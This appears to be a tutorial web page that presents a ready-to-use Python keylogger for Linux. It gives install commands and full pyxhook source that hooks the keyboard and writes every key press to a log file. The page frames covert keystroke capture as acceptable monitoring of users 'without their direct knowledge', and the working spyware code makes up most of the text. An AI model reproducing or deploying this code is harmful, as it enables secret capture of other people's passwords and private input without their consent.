Python for Cyber Security | Keylogger

KEYLOGGER USING PYTHON

Keylogging, in hacking is a method of covertly logging key presses of a user. Keystroke logging is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that person using the keyboard is unaware that their actions are being monitored. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without their users' direct knowledge. 

Here is a cardinal script to create your own keylogger.

First open your terminal and type:

sudo apt-get install python-xlib

pip3 install pyxhook

NOW THE CODE::

Python code for keylogger

# to be used in linux

import os

import pyxhook

  

# This tells the keylogger where the log file will go.

# You can set the file path as an environment variable ('pylogger_file'),

# or use the default ~/Desktop/file.log

log_file = os.environ.get(

    'pylogger_file',

    os.path.expanduser('~/Desktop/file.log')

)

# Allow setting the cancel key from environment args, Default: `

cancel_key = ord(

    os.environ.get(

        'pylogger_cancel',

        '`'

    )[0]

)

  

# Allow clearing the log file on start, if pylogger_clean is defined.

if os.environ.get('pylogger_clean', None) is not None:

    try:

        os.remove(log_file)

    except EnvironmentError:

       # File does not exist, or no permissions.

        pass

  

#creating key pressing event and saving it into log file

def OnKeyPress(event):

    with open(log_file, 'a') as f:

        f.write('{}\n'.format(event.Key))

  

# create a hook manager object

new_hook = pyxhook.HookManager()

new_hook.KeyDown = OnKeyPress

# set the hook

new_hook.HookKeyboard()

try:

    new_hook.start()         # start the hook

except KeyboardInterrupt:

    # User cancelled from command line.

    pass
